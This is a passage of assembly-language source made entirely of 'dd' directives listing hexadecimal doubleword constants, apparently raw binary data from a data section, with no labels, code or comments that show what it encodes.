0EDF0200h, 2280D0A2h, 0AB4F0591h, 0C32AE418h, 8DA8EFD4h dd 660087A1h, 22BC9523h, 1FF9B0D6h, 404D6F5Eh, 5B559CE2h dd 2312E140h, 0DC0092E0h, 0E5E33F72h, 1171001Eh, 6D1F4E8Ch dd 0DEE4FA50h, 3D16000h, 0B4CD16B1h, 82F7014Ch, 3E082464h dd 6DAF2087h, 294EDD00h, 0EBF3A831h, 1D2F00E1h, 0F5BDFB17h dd 0B9798404h, 28BC6700h, 6E922579h, 0C7D20F44h, 176043D7h dd 6D8215FAh, 1F1C4700h, 0F8CFCA7Ah, 0B610C074h, 0D1C8F5A2h dd 7E7DBE1Ch, 0FC68B0DEh, 21B50200h, 0B6450F30h, 7A840065h dd 162ABEA4h, 5F3EBFAEh, 3D0A0218h, 0A0B03A25h, 0D3008F4h dd 950C00E3h, 0D8B58964h, 4903E9B8h, 78C6FBCDh, 47759891h dd 2A8B003Dh, 6E525AA4h, 0DC72A00Dh, 80307D38h, 794129B8h dd 42C267h, 1F82C550h, 15A38544h, 0AEC4611Ch, 6800FEBEh dd 8C483339h, 31C697Bh, 4BBD5001h, 52C310EDh, 31279FE0h dd 30D8EB0Ah, 813CEC79h, 0A063B415h, 0FC40EAA4h, 5812BE6Fh dd 1C00A8CCh, 73147B60h, 5B008271h, 0E8467636h, 185C40h dd 81DAD80h, 57E004B6h, 37229700h, 7B5FEFCAh, 5852607Ch dd 614805AAh, 0BE00EBB8h, 540214D1h, 58C97Fh, 85FEF89Dh dd 0D9CDDC24h, 0F4F13Dh, 8F0E42FCh, 0CFE7BAh, 0DB9F07A7h dd 88D4AE94h, 43EA2B00h, 15D8F446h, 5B440009h, 9A91A5B4h dd 0B8008504h, 0CA9BFDA9h, 37C99D5h, 501511A1h, 31A84A03h dd 220060DAh, 0A78619C8h, 5B882C2Dh, 3EC34h, 0F9E5F49Eh dd 13B75Dh, 4C38930Bh, 0B1650407h, 0F2A74109h, 790B8A59h dd 0D9DFBB00h, 963E23h dd 0D7468F5Eh, 1681533h, 0D0FE1F90h, 0E613C200h, 8439BA34h dd 0A3CC0EDDh, 0A43A5DEh, 0C380A69Ch, 60070A0h, 17C828Eh dd 1D2316ECh, 0DB33DDh, 0A07D4944h, 0AC00D7E6h, 0F7F3BE39h dd 131DFE5h, 0AEF8204Fh, 0F0017DAFh, 0A0E77C9h, 20577313h dd 3B93D9B8h, 0E0A9006Eh, 957F21E8h, 94A896F4h, 0B930FDB3h dd 0AD0F285Ch, 0C7020018h, 4CA1A092h, 70283049h, 0F700E838h dd 1BC39367h, 13F84Bh, 0EFB9502Dh, 1CE6C669h, 0FC009CF6h dd 0B0D51236h, 3CAD51h, 0ACA045F1h, 0FAE254A1h, 0F2040600h dd 2E6FCADFh, 0ACDE4077h, 0D9747500h, 76E75CB6h, 7290033Ch dd 512EEBBDh, 883F97F8h, 620255E4h, 0ECBBDDCDh, 7A60C040h dd 0EF8009Bh, 1BA6C322h, 3B004F68h, 56025A48h, 59CB58h dd 0E75F21D0h, 0AF601873h, 54238300h, 0DD30A146h, 59B01Bh dd 0B4B8C980h, 0A4CDA255h, 46180C60h, 7095E184h, 0A54B0005h dd 696CF0D3h, 9303C701h, 0DBAA87E8h, 0F4CEA84Ah, 86150F6Dh dd 440AE12h, 6CB5CD1Dh, 0B7443700h, 29AC036Bh, 8BD30097h dd 0E07DFF07h, 780040FCh, 4ADC2F75h, 1C4155C2h, 8030FE31h dd 0CD9DC9B3h, 0CBF45BAEh, 0BEF3321Fh, 33E49F40h, 61247B4h dd 23ABF7D9h, 860148B9h, 102A2145h, 56F836C1h, 3B040050h dd 58DEED9Ah, 98132BFAh, 3200798Dh, 0BCAF296Eh, 0AB2E30BDh dd 0CD06538h, 39350800h, 1EA7FBD1h, 51725Fh, 8444B115h dd 0D5CB7B1Fh, 4D86CF00h, 6F60C783h, 4A8C00C2h, 69C5DE3Ch dd 78008EB0h, 38FCFE53h, 5F8A86h, 0D24ECA09h, 0F1CC3332h dd 0ED27B601h, 966C52F6h, 5A8CD8h, 87AEBFE3h, 47A606BDh dd 0FAD33Ah, 4DDE2B94h, 7BDB666Eh, 58190089h, 745295D2h dd 2A003545h, 9737F5AEh, 0BDD6A7h, 0C88927F1h, 0D1FA4275h dd 594E7A03h, 0D860AC54h, 3A4D40CBh, 0E280B6DBh, 0AFEA0EE9h dd 3C1C7C43h, 2300A526h, 27564DE6h, 82F500EEh, 1B04116Bh dd 2E76E528h, 0B5909807h, 12E07496h, 507EA943h, 0F7E6D5h dd 8E161D51h, 505994AEh, 988AFE0Ch, 0F2B38C3h, 0DA3B6D76h dd 0B85D9BE3h, 120C988h, 0F706FB00h, 4D420712h, 0C0E9007Ch dd 7B77311Bh, 0FB002A9Bh, 0C4C1738Ch, 0EE01C37h, 79276999h dd 7BFADF20h, 2AE8300Dh, 0B2910907h, 0A2B263DBh, 0B12FC08Dh dd 6EE42Dh, 0E2A94C9Fh, 350F1D6Ah, 5C1F4401h, 0F5479AE1h dd 407A419Fh, 6A989BD2h, 690384D0h, 0AB8E0DDBh, 6530B713h dd 0B83A5CFh, 0C459A27Ah, 162CD900h, 0C607D7E2h, 0A5B90135h dd 7D603F87h, 0AE5C8Ch, 0BD675313h, 5690B64Ah, 59A30800h dd 8731B929h, 8875002Fh, 0DB6FF980h, 6700DF27h, 6508CECh dd 2BDDC6h, 13B9BEEDh, 0FE74D2D8h, 806C9F38h, 0DE1FCE7Eh dd 73097946h, 0F633000Ch, 6FB0E881h, 8D0049A8h, 0A5B8778Eh dd 1C02DC82h, 404B7E1Bh, 6963D351h, 0A6F0AB91h, 0A80028B8h dd 79D0BD19h, 3A2E715h, 12813C47h, 5C908C96h, 6EF2B13Dh dd 1FBB3500h, 3F3421B8h, 0CD510EB5h, 0BAC06339h, 0A487CFE3h dd 0A8695401h, 5A01EC8Fh, 16B4C8h, 51752657h, 9D054918h dd 8714D400h, 0D1F2F9BEh, 0CC660FC4h, 1280A1FEh, 15DE7698h dd 18543603h, 0D7ED3B8Ah, 402D1950h, 627060h, 9EFF559h dd 7B2E41CEh, 0A6E4200h, 52C43DF6h, 3FF70EACh, 0F120FC38h dd 0E92A50C0h, 0A30034B0h, 71E4B797h, 0E004F903h, 0C6400DCh dd 0A94EFE15h, 571C6DACh, 2B408FC6h, 0E6BF061Bh, 5E7700A0h dd 88C4A3A1h, 9A70CB69h, 0C18CC600h, 0AC372134h, 1E62009Ch dd 5A8DC831h, 0B705C218h, 0F86B9917h, 63EBB400h, 1D162BACh dd 0C084DCD6h, 5145D2D1h, 0FD01E53Bh, 0AEC8A081h, 0F2D82FBCh dd 0F87728A5h, 103B60D7h, 44A183C0h, 84CA4E00h, 0A660C496h dd 0F0D006Bh, 0FDA24042h, 0EB0E4C6Dh, 0A03B77BBh, 5CCA5827h dd 7F110D5Dh, 2048B001h, 1B0743D7h, 0E25112EAh, 0B82C6633h dd 19E7Ch, 2BB6AF72h, 53E5E074h, 2ECC3B2Eh, 4E4B0600h dd 0BD7A5Bh, 2232D3A1h, 99DC021Eh, 30857404h, 3890F94Ch dd 1ACA8Ch, 0BF7E8D8Fh, 0AEEE7DD8h, 0F2002CE8h, 0F331224Ch dd 75D270Ch, 7F92907Ah, 0F6075391h, 0CF0F18C8h, 0B7F40A7Ch dd 33F3EE09h, 2F0083EAh, 0CCEBC0DEh, 1FD9F0EFh, 30CBF8Fh dd 8B90864Eh, 62F34E00h, 32EB5CADh, 74E4E2B6h, 5037004Bh dd 4017F2F8h, 1B3B25C2h, 420B0377h, 1CDBE6DAh, 0C0C41448h dd 76E5A443h, 6A3FCF25h, 607FFE0Ah, 60AD2C2Fh, 240E57C0h dd 706CE1h, 36A31BCh, 8C00CDB4h, 0CC9AE45h, 24C7CEB3h dd 0E030044Fh, 77E5A22Ch, 5E10DF00h, 58FDEB06h, 0E73E0343h dd 0F632ED6Ch, 66225BC0h, 114804EEh, 0E2690090h, 0D976D28Ch dd 187700B4h, 0D403BDE4h, 7F28BF1Bh, 7958F804h, 0E65B0063h dd 0E5FD70AEh, 44813E15h, 105C8B86h, 0A900589Fh, 0E730FB82h dd 79B2B82Ch, 312703AFh, 414BF3BCh, 1CA745E8h, 803D073Ch dd 200CD2A2h, 74C965Ah, 0BFCC8E48h, 0D5981054h, 0BB7F41F9h dd 0A5803E60h, 1ECEC3FDh, 0C0D609F0h, 0CDBD3567h, 0D01F50B2h dd 1026628Ah, 0B8B3BB0Ah, 0FAA71D40h, 52020287h, 8D78D82Dh dd 6DC4460h, 8A238900h, 26DE8CEEh, 38A100A9h, 667AF235h dd 6B3BFFC5h, 253E0E56h, 811C40CCh, 6CEF6Ah, 0C7B42676h dd 9D09EE2Bh, 9C0C3DF0h, 0A84B3654h, 892451D7h, 0F00C4420h dd 0E12E388Eh, 8055411Fh, 2A028DDDh, 4E02F128h, 24D845BEh dd 236B2079h, 0D500F56Ah, 0E5502103h, 5C0FF86Eh, 0E47FC5F3h dd 75A401FDh, 9BF59AD1h, 0E349C4AFh, 854C1A03h, 88D28287h dd 0BC957h, 0C3431819h, 0A67F07C4h, 0B7015FFAh, 2E9EA230h dd 76F046ACh, 0FB380040h, 0CCE37D51h, 0B6005B17h, 2D2BC018h dd 790BE9h, 3057201Dh, 2EF0B5DBh, 5468E800h, 7E3B783Dh dd 0A0501E4h, 363E318Eh, 41E47085h, 0F2A1B03h, 0E8BE9D3Ch dd 0D56AA4h, 20AE0204h, 0A7ADE9FAh, 8E00D272h, 80A9B2C0h dd 0DC2CBFh, 66B63014h, 0B8A3D668h, 0E6AEA200h, 0F0580693h dd 0B05507D9h, 5135B216h, 41B666B7h, 0E864DD95h, 0EE00015Fh dd 0E48C987Bh, 91F856h, 63F940DCh, 1D6D3E99h, 0E5953103h dd 0B0A501ADh, 0C35FD8h, 2A783349h, 0FAFCF6E2h, 9A3F51FAh dd 1A8F8084h, 4E980B34h, 477D0075h, 0CB5FE9Fh, 0D801DE46h dd 5F393DF2h, 93D0B48Ah, 6D5E00E1h, 3E57040h, 0B5003ACEh dd 5D38C3B3h, 335241h, 0F8EE852Bh, 56D775C6h, 8B2C050Ch dd 3E664Fh, 23F5119Bh, 0B117BA20h, 0E6AC675Bh, 0C0DC7B1Ch dd 29CBE606h, 763EF6A1h, 98DF005Dh, 0ED64C80Fh, 45153A55h dd 0FE933E00h, 0CD12E9C0h, 6A7F0600h, 1CAA3696h, 57B9008Ah dd 0CE826CFh, 710024F0h, 0C0EC0DC3h, 0FDF2B6Fh, 66F3C174h dd 0C7D29DA0h, 120058C2h, 450BF182h, 0FE5E3Ch, 473EE911h dd 8FF0A393h, 7F844B00h, 2C2A2662h, 5C94A06Eh, 0E605009Ah dd 9D58A40Ah, 0E17D8559h, 0AA1DEBEAh, 47C0DB61h, 0E39E1015h dd 59FE0077h, 6E649172h, 0F976F8F3h, 0FF70500h, 0EC61B4C9h dd 843F1DA4h, 3D5E38h, 0DFC71AD4h, 0BC06062Ah, 3ED26419h dd 0BF6B0320h, 410A4F50h, 855E07A0h, 4D37FE18h, 0DA81130h dd 581BBB38h, 2934C0A8h, 45F19100h, 0B31C0304h, 0B6352493h dd 0B2B00004h, 6C6E1E26h, 9DA370Eh, 4F39237Ah, 92E1D074h dd 4D6F0E45h, 42233B27h, 3801B494h, 37CB7976h, 0ED457CE9h dd 105BD783h, 0F61A70h dd 35C2C5ADh, 49ABE1E8h, 6A0120EBh, 9A11BC4h, 0F71CC0A0h dd 21B35F00h, 0FDC1B656h, 0B1081785h, 0DF38002Fh, 271AF4D1h dd 0AD205900h, 8737F6D2h, 7997008Bh, 985ED701h, 99FAA8A6h dd 8261F00Eh, 0B79380BBh, 7C6615h, 0AE4BC722h, 0F2199E21h dd 0EFC17501h, 0AE9F733h, 0E699040h, 3C1B898h, 626AA828h dd 57E0CF2Dh, 0ED0F9E18h, 60ECE186h, 83C8074Eh, 0EF27003Bh dd 0EB0C060Fh, 3500F41Fh, 86A4ACDAh, 0B9C6A5h, 0DF1804FCh dd 99979C52h, 83DB4095h, 0CBEC1D62h, 0D86000C0h, 0D0F4966Fh dd 0DE314800h, 4381F818h, 917D00B9h, 3907666Ah, 4A2473EBh dd 0B800CC58h, 9438E97Eh, 95F0CDh, 8C173ECCh, 0B382E26Fh dd 0B1B84E0Fh, 48A60C7h, 0DD5113h, 0F1A6A52Ch, 17E889E7h dd 0FE1A6100h, 91E1622Bh, 4C731843h, 6EF22971h, 0A436C100h dd 23850928h, 818C00D9h, 0E1B9CA7Fh, 9901C256h, 0F10B3AC0h dd 118EF0F9h, 920C3B48h, 0A900CE5Ch, 0B41FE0F4h, 10E1C9h dd 0D08FF91Eh, 0E3DF433Dh, 6FD5DE01h, 0C25FF622h, 0A440CB61h dd 485A5D8Ah, 0E80F10B5h, 5421FACCh, 40E97615h, 453855F8h dd 3FF00B00h, 0A76F46D9h, 0FC3F6B2h, 40C7A362h, 0F5C4003Ch dd 8FCC176h, 0F003072Ah, 851D9972h, 0B8C2656Fh, 0A01E521Ah dd 64EEC7ECh, 0BC120377h, 0F55EBE54h, 0F72BB1h, 0F85BF6h dd 2185A5AFh, 0F495943Ch, 8CA8750Ah, 2200F0F0h, 1E9846EFh dd 12D30008h, 0C954ED4Ah, 0D007967h, 48F47F2Bh, 75AD0EEBh dd 37463A99h, 8500CEC8h, 67FCB06Ah, 200FACEh, 8BDD6172h dd 13D1F2h, 0E38EEA8Ch, 0C0100948h, 0C33E4900h, 44925D1Dh dd 0B66B02FEh, 0CE930A7Eh, 0EA2EE0F7h, 0B44C502Bh, 8C610010h dd 11C37FA3h, 0BF001E59h, 0E1F41A2Ah, 7878D37Bh, 24CB01B6h dd 0B84984A9h, 3363F405h, 559FAD03h, 0E9D243E6h, 6083706Fh dd 574A10D5h, 88F130AFh, 0FE070B75h, 90958135h, 0E6CAB850h dd 861900D5h, 92A977EDh, 6B14B47Bh, 0C01441h, 0AEE93E59h dd 0EEFB194Ah, 0DE7112h, 29884734h, 0FC7735A4h, 987C9200h dd 91EBD21Bh, 0B6DF0AF9h, 0DC4EA2h, 54D575C4h, 0B50A29D6h dd 0C0FACD68h, 861B6200h, 980BC48Dh, 0F4F00151h, 615E313Bh dd 0BCB440B2h, 15FE01B1h, 2788A100h, 0AB983CDh, 52460499h dd 0C5486CE4h, 2E4C07F7h, 9236A0A6h, 685096EAh, 860716C8h dd 405DF1A7h, 0E4D3E900h, 0F20600A8h, 357E6DD0h, 380ECEF3h dd 2F45F5B8h, 0E3C9A0C5h, 0D2B06019h, 0A7880006h, 8B57F38Dh dd 855D3300h, 76806DB5h, 0BB1F00B1h, 41490127h, 2C001A78h dd 0E583847h, 812F2Dh, 4B7DBE2Ah, 9B0FF004h, 0ACC44007h dd 0E03C5CB1h, 1BC200E4h, 0D85033A6h, 0DA00017Eh, 0B6D5BD3Eh dd 5891F34h, 0F6A9C5AEh, 0F96A800Ah, 52011B9Fh, 0F7B48C5Dh dd 4FE080A8h, 0C26807AEh, 9222F4h, 937238DDh, 0C3009EFCh dd 0EDEA7CE0h, 986D6F8h, 43CDCA15h, 0AA53F501h, 12A140B3h dd 300C932Ah, 901A7D69h, 4D10005Dh, 2DFE0C98h, 9060A2D9h dd 0C4B54050h, 0CBDB0174h, 6DA8177Ah, 0DC246127h, 0AC38E9DFh dd 165480E4h, 934496DCh, 0E317003Bh, 6AC8CE6Bh, 0E900D1D0h dd 2B0190EDh, 0CFF7566h, 25173FEh, 5301A410h, 10DE6725h dd 56ED1FEFh, 5AE430h, 0B844DEBh, 2DAC2FAAh, 0AC5C2726h dd 85E43007h, 6BA0FD30h, 388238EEh, 802C600Fh, 8F10E94Ch dd 129C9405h, 0B8802409h, 0C0475377h, 0A4A31740h, 0C3B0A796h dd 6318C800h, 0FC768D9Fh, 21474D1h, 0A6BA84F7h, 5CE0052Fh dd 1500ADB2h, 40A8090Ch, 9AAFCEh, 0BC2C8A8Eh, 0C3B75F20h dd 5008498h, 457987CDh, 3D5E9Eh, 69B44A7Dh, 0AB2677B1h dd 0C4438003h, 0D8C18B18h, 0EA81Ah, 0B7DF420Ah, 0B5FFE4FCh dd 0AE81CF01h, 8C4DA1DAh, 48BEECF4h, 6B48A435h, 8AD4F90Bh dd 6C1C2880h, 2C0C25D3h, 20D5F7FEh, 0B7E070h, 0B59C2BF4h dd 6547CB93h, 596D4902h, 611FF93Ah, 0E6EC2D6Dh, 19B100CAh dd 6FF6E934h, 8E096E1Ah, 36D9961h, 0A8022780h, 0B00CD5h dd 0E25B2DDEh, 9C31F6CBh, 81A7441Fh, 99F9C280h, 0BB8E0AFh dd 0ACB389DEh, 0AB3FA384h, 8E699E00h, 93DD522h, 4409572Ch dd 43648000h, 680EA49Bh, 60E28462h, 42CE7753h, 3B8B716Bh dd 40DD6FA6h, 0CFE047CEh, 5D360807h, 0D5E263FCh, 5BFBBC00h dd 0F0ED842Dh, 922C2402h, 0E8C20258h, 44C8EB7Bh, 0B50CDF3Eh dd 10EE5EDBh, 0B8BE02DEh, 4430D12Eh, 0E70D0840h, 0AC4EAE07h dd 0C7008F50h, 1DFA5CAh, 9C2DCF57h, 0E4DE6196h, 187674BFh dd 93B10B01h, 6E059EE2h, 0CFF5ECh, 0CAA88970h, 4296DAD4h dd 2D21800h, 0ECB6E8F3h, 7CB8074Fh, 1F36FC4Dh, 80B06285h dd 9E2B4A6Ch, 8BDC0700h, 6F7BFE75h, 54844818h, 44FDBF17h dd 0C0323FFCh, 26445BA6h, 0DEDFA407h, 6E61519Fh, 0C0DFF7EEh dd 30559D6Ch, 8111E849h, 3E00D718h, 1ABB1DDDh, 0F44658h dd 0FD51AD15h, 8CB9BCEEh, 6647D903h, 3CCCCDFBh, 4A5926h dd 5FB69540h, 2515F354h, 0C48FAFh, 6B238CEEh, 5AE286h dd 72BE80A6h, 8AF87F64h, 0C526A370h, 3001F4F9h, 96995C9h dd 1775B8CCh, 0A1CD0Ah, 0FE6C08E3h, 304A5A37h, 3D207C00h dd 757426AFh, 4C7A00B1h, 0A3324F47h, 700115Bh, 5DC58D5Fh dd 9AB970h, 0B79E015h, 0BE78E80Ah, 4E9851F1h, 949310FFh dd 0A5220040h, 4F3FE513h, 0D300F12Eh, 19977BD8h, 0B60CD9h dd 48FB81F6h, 2A47B9F8h, 0D0F38BE4h, 0F05184Ah, 7039FD5Ch dd 0EE20FC0h, 6B241DBBh, 0C66749B8h, 0DCE01C2Fh, 28D26492h dd 3A85873Ah, 4ACB1CD9h, 59E396B9h, 1F9C5C07h, 60A35812h dd 12E73601h, 80A5A002h, 7D63A38h, 176E4000h, 82773B21h dd 0EA68CBFEh, 0BA75B4A0h, 0C20B762Dh, 8117F8EEh, 776B4481h dd 41E99D4h, 48FCF9DCh, 1DF8C0E1h, 0A000B19Dh, 4C27F5D3h dd 890A5Fh, 0C5614AD0h, 93850D45h, 60888200h, 2F33C4BAh dd 3E17F26Dh, 0F3124E61h, 545D0024h, 0B928E91Dh, 2CAFCD06h dd 0B0E33Fh, 0CBE662B3h, 77B68270h, 321E38B8h, 96934BDBh dd 0F3CC8900h, 742820h, 0E0FE2E61h, 2D1F034Ah, 0DE607000h dd 171D1913h, 0F8741CFDh, 1E23405Ch, 0FE16D9B2h, 4C002AE6h dd 0FDC234B3h, 9CAE6Dh, 858E68AFh, 1CB5B31h, 51A9F800h dd 3FB6C937h, 17BEF6CAh, 31F910h, 2350DC40h, 36002DB7h dd 0D463A974h, 98B9ADh, 0B07D1032h, 3C17883Ah, 0B3463002h dd 6BF2A094h, 0C1391F20h, 1F8D40E8h, 3B85560Bh, 0A5005871h dd 55624317h, 0CF67430h, 54676F3Ch, 5600E320h, 81D70B8Ch dd 0E97B4B9h, 531EA890h, 44668780h, 5700E0AEh, 0FE274AD3h dd 483E8Eh, 62E1037Eh, 1F1776A6h, 7D00B971h, 0D2B38C5h dd 7BC4E8EEh, 0C09600E7h, 0A23BDC2Eh, 98005A85h, 0FF931023h dd 0E82D2FF2h, 0E0141D02h, 0B86F039Fh, 29B29B72h, 3F300BE0h dd 1A769300h, 0BBED80F9h, 1C21005Ch, 0C3164CDEh, 59000A62h dd 8E93311Fh, 0FB9A90h, 0C45682EBh, 377D334Fh, 81BF9400h dd 0D6636A9Eh, 277A0EA9h, 1D80FD56h, 0D9DBAFB6h, 58517F07h dd 0FCE075D0h, 1F718B54h, 0C078B9DAh, 2D33B49Ah, 48C09DA6h dd 0C7CB8D0Dh, 9BBA4C17h, 37E47Ch, 0A477D1ECh, 68088F65h dd 21999600h, 71B327C5h, 875200CFh, 0B04BB916h, 2200ACE0h dd 625F408Ch, 2FFBE8AEh, 5656E16Bh, 3514E400h, 0C26465Ah dd 0BB410FC9h, 0C758B378h dd 4EE9011Dh, 91D42EB4h, 0D5981880h, 7A57B741h, 7DDC000h dd 0BF8F6B47h, 9004007Dh, 19681CA5h, 875B1E30h, 0C5007DFCh dd 29B27859h, 60001AABh, 8CB41DB0h, 261608DEh, 1826BC3Ch dd 5C966040h, 1D49B00h, 13F6FF0Ah, 3C7E0093h, 5411828Ch dd 0A600B736h, 86E44809h, 1EFDDF6Dh, 0E16A5D8h, 6CE03523h dd 0AEA30504h, 61EFE90Ch, 26D35843h, 1E382CBh, 73758929h dd 0EAEC7055h, 944C5Dh, 0C8D58249h, 2589288Eh, 0BC0095F1h dd 7D929723h, 0A2ED1F0Bh, 228C01EAh, 496017E5h, 483200E1h dd 741A654Eh, 0DF001142h, 0BBE6AFE8h, 12FEFCBh, 3DCA23FDh dd 717B35ACh, 951EEC17h, 7CC40B0Fh, 7845D6A7h, 28921D8Dh dd 688862F1h, 0F4052D28h, 0D9F68Ah, 0A926EE7Bh, 8CDB7F95h dd 16318802h, 40D25EDFh, 364C1Ah, 41741BC7h, 0FE63D4C2h dd 3B09A8B0h, 80F2E1B6h, 0CA775540h, 0A28F1FA4h, 39DCC08Bh dd 361B6E7Ah, 58DAF100h, 4448983Bh, 1C6270Dh, 2D34D838h dd 2A001AE0h, 6F378A13h, 3A7DB4AAh, 0FA8042AFh, 81719EA5h dd 0A9605483h, 6370CC10h, 0B94400C7h, 5F72DA2Eh, 0B998909Eh dd 499AD71Ch, 0EFC67B40h, 0E6326F46h, 73E7CA5h, 5E173883h dd 0EB55A01Ch, 0F4019928h, 1FF6BCFFh, 0DC5176C9h, 8072E7EFh dd 46916080h, 0AE2D7CB5h, 0EF040073h, 9A984F99h, 2A1F00A4h dd 95B79005h, 0FD016F45h, 7984865Dh, 9CFCEF26h, 6931091Dh dd 4061087Dh, 0FE5D8F6h, 4A0AD1Fh, 8017DF09h, 9B85D7FFh dd 1E50006Bh, 56602CC8h, 4800D001h, 89C5B86Dh, 1D6BDD54h dd 456EA749h, 809E0879h, 4D60B450h, 13067500h, 52D130BDh dd 0A9970035h, 38AAC4A5h, 8F1D0380h, 93C07678h, 0BFB93277h dd 5B55003Ch, 13F50A3Fh, 0F901A4A6h, 7DF779DCh, 3AD58FCEh dd 0AD37C70h, 86F843C2h, 3C140080h, 781E4710h, 0CDEE7E00h dd 0B28FE87Ch, 0D47256h, 2BCC9774h, 18D7A9E5h, 0AAA46300h dd 44FEC94Fh, 34EA0160h, 2B666E76h, 0FF3DE8B0h, 0BC6C112Ch dd 44014693h, 371B9DE5h, 0FEE94C8h, 17FB2B4Dh, 256B4240h dd 0A0001DB3h, 697D4952h, 4C5AC6B0h, 8A0036EBh, 6E8E4DB6h dd 4900BC4Ah, 24E2EABEh, 3C66A52Ch, 1880776Fh, 6AD72E92h dd 7900B54Dh, 0A53934D6h, 409227Eh, 58D1B1F0h, 2398E4AAh dd 0EE9FC100h, 0BF66081Eh, 590102BBh, 3538854Fh, 1665D6C0h dd 98104E60h, 15B8674h, 7514275h, 8045A594h, 0A4A224D8h dd 0E3A687Bh, 9C18E1C6h, 9600E015h, 5F930F91h, 4C0040CDh dd 17CBC513h, 0B8F1EBBFh, 666D2472h, 7C290183h, 50AA6004h dd 7D8A2AECh, 0EAD12700h, 88C14048h, 4F9200FAh, 5DF1A16Bh dd 3050CE1h, 72107AF5h, 0E5338CD0h, 6B821DF4h, 19478701h dd 1D977028h, 742D5CF7h, 0A5F5E0EEh, 0E0B6C0h, 25050CF5h dd 2FECF314h, 0E401E45Ah, 9594162Ah, 9061E8F8h, 0D77A9h dd 0C4AE8B57h, 0B23A98B8h, 7CCA2800h, 19D75960h, 0DE1A0B94h dd 8082AB9Bh, 0DDC19624h, 0C82CF402h, 41395700h, 2AB676D0h dd 17E6009Eh, 543BEB6Fh, 6A147294h, 8F5777h, 428920B7h dd 48C15F4Bh, 9A1517B5h, 86002408h, 0AF6DAD25h, 5679F133h dd 0B3D01609h, 0EDBF0387h, 5DD4F062h, 0F24C75C8h, 0F6680025h dd 0D040E651h, 0F300A1A9h, 0F483CBD2h, 0EC59EFh, 123D5243h dd 0DAE47C31h, 0EE4F3801h, 76809890h, 850029B9h, 0D1D59A34h dd 1200633Ch, 0BFF9E348h, 4D6BB7FBh, 5A0238E9h, 46B9FF24h dd 2A4DA8C0h, 7CFA0800h, 0DFBFD395h, 0C3FE63h, 78AD276Eh dd 0ECBB2D9Bh, 205B4Dh, 0B6D2FE0Ah, 0FE8D28E2h, 895603DAh dd 5D070394h, 0D747600Eh, 2F8C2051h, 3848D34Dh, 78B1DCF8h dd 0E370FA80h, 0B235D5D8h, 0C051A324h, 5D1DF083h, 994B8BE0h dd 0CCD0DAB1h, 0C75E01D2h, 8E56DEFCh, 2BD5EC6Bh, 0D3031798h dd 98E9F780h, 6D94868h, 0CB616F30h, 0AF000C18h, 89577804h dd 0C66B567Bh, 0A9586A29h, 716CE302h, 0B854B663h, 3A9BE814h dd 0F800046Fh, 0DE4CB5D0h, 0F30EEC47h, 40B13F58h, 15D3C6ADh dd 20A20057h, 0DB799FE7h, 13C7C0Ch, 98F987C8h, 0A8205908h dd 0A9C33Dh, 34AE22FBh, 0B94F4947h, 21622C00h, 6EF93F8Ch dd 67CF00CAh, 1F8E2E0Fh, 8400EA8Ah, 6254748Dh, 15679BFh dd 7C4A7A98h, 6085A14Ch, 5A0024E9h, 0E9BAFF2Bh, 28AC881Eh dd 9E179Ah, 2A8BC9AFh, 257B4187h, 6AB0AA0Eh, 135D8123h dd 1FFD7AF9h, 5552C8h, 0D45724A4h, 0BD4F4C80h, 543E3F03h dd 0C8CE9612h, 1DD9F5B5h, 9562C703h, 59029014h, 0C1E83D31h dd 15CD9740h, 52D7BB00h, 55BDA5CFh, 8918Eh, 73ADE089h dd 0FF7C62F5h, 5161B405h, 7FC35E52h, 602BC236h, 6D243Ah dd 0E868122Eh, 58EA4784h, 0D82FD329h, 0BBC07C1Dh, 78DF8866h dd 2CB1316Bh, 80594408h, 0BBDEF220h, 93B0EBh, 733E7B34h dd 0D8A42F3Fh, 80E9B534h, 5A752C90h, 0CCC9C015h, 0C6CE22A3h dd 87662900h, 3DED1DCDh, 775A009Ah, 2A5C7246h, 0C4189056h dd 58B80DD5h, 55B831A6h, 0E00F7E18h, 2060FDECh, 5C98AFC1h dd 90BDE21Bh, 9BF300BCh, 9CF2E73Ah, 0B13D4014h, 262C80F4h dd 8AD50C2Dh, 0BD0600E0h, 333854FBh, 79007EB6h, 0F505C7D1h dd 0A3F669h, 0B910A575h, 61DAE09Dh, 655E010Eh, 0B1F340A6h dd 634303h, 709CD269h, 0EC720EF5h, 75199D00h, 8B5CC033h dd 10D439E8h, 66B86587h, 92B2C0A8h, 50DEE522h, 0F9196000h dd 0F8712E27h, 69DF3Fh, 9A50F4BBh, 1000C595h, 19EEE4FAh dd 28CC9D4Ch, 10CA824h, 5368C9A0h, 0F06D495Ah, 741CB0E0h dd 2A401CAAh, 24011632h, 6E9900ACh, 13280F86h, 0BD00265Bh dd 634E1173h, 5F6B05h, 3742658Dh, 39E2ADB9h, 0A3ED90CFh dd 0C04C1846h, 1B85E32h, 1EC05B28h, 9EC647CDh, 210061E0h dd 92B34EABh, 0D97D3126h, 807059C0h, 0B9C47E91h, 0FC099Ah dd 23B421Bh, 6001C016h, 0C7831500h, 0D1296473h, 0DA30C0EDh dd 87A9B713h, 18B29D00h, 62FFA504h, 0EA1B3A5Ah, 0E3B3FE00h dd 8BFB3A5Bh, 76A22700h, 3E191758h, 0FCAE0363h, 0FE5AFA41h dd 4DE0D5ABh, 0D303FBA2h, 154B32E6h, 65FAE8F5h, 0DF2E7B64h dd 0DE1EC018h, 9CDB67DFh, 0D64092F8h, 0DCF03EEBh, 0A43A924Ch dd 0C3C2261Dh, 9572BD08h, 0B0732100h, 2C468980h, 7F300024h dd 81F7C03Eh, 9B02AC40h, 0A8BD0D37h, 0C277E0DDh, 92E60E3Ah dd 0EB20DFFFh, 0B1157998h, 0BB5F9F00h, 9C39B238h, 42660037h dd 582429BCh, 4A181404h, 71B8DF91h, 6CCB00C4h, 56126854h dd 8D2E82ECh, 2C014615h, 9F13594Fh, 0EACCF8E4h, 0F6A000C0h dd 8B985F1Ch, 0C95B14E7h, 65EBF0h, 171260ECh, 16E3E459h dd 0C107F600h, 0F8FB667h, 33700766h, 67309293h, 0A3FD308Bh dd 8C6A234h, 3E20673Bh, 118097EDh, 2AB2F5FAh, 717C562Ch dd 0A502B307h, 0BCD18D98h, 0DD12211h, 2EE8FB60h, 0FB74BF2h dd 2C4405F9h, 0E382C033h, 3A001F29h, 6447DAA2h, 0FA1D61h dd 0A9AF6624h, 0E36033B3h, 313B7903h, 8837FCh, 0F1E2F880h dd 0EF6480C2h, 6C18DA00h, 7836A9B2h, 8A9207A6h, 20334C4Bh dd 160F7064h, 0F2A09714h, 720FE120h, 10ECD18h, 408F6A73h dd 0A18C9517h, 6B340068h, 99DF5CE7h, 2C3CAD7Ch, 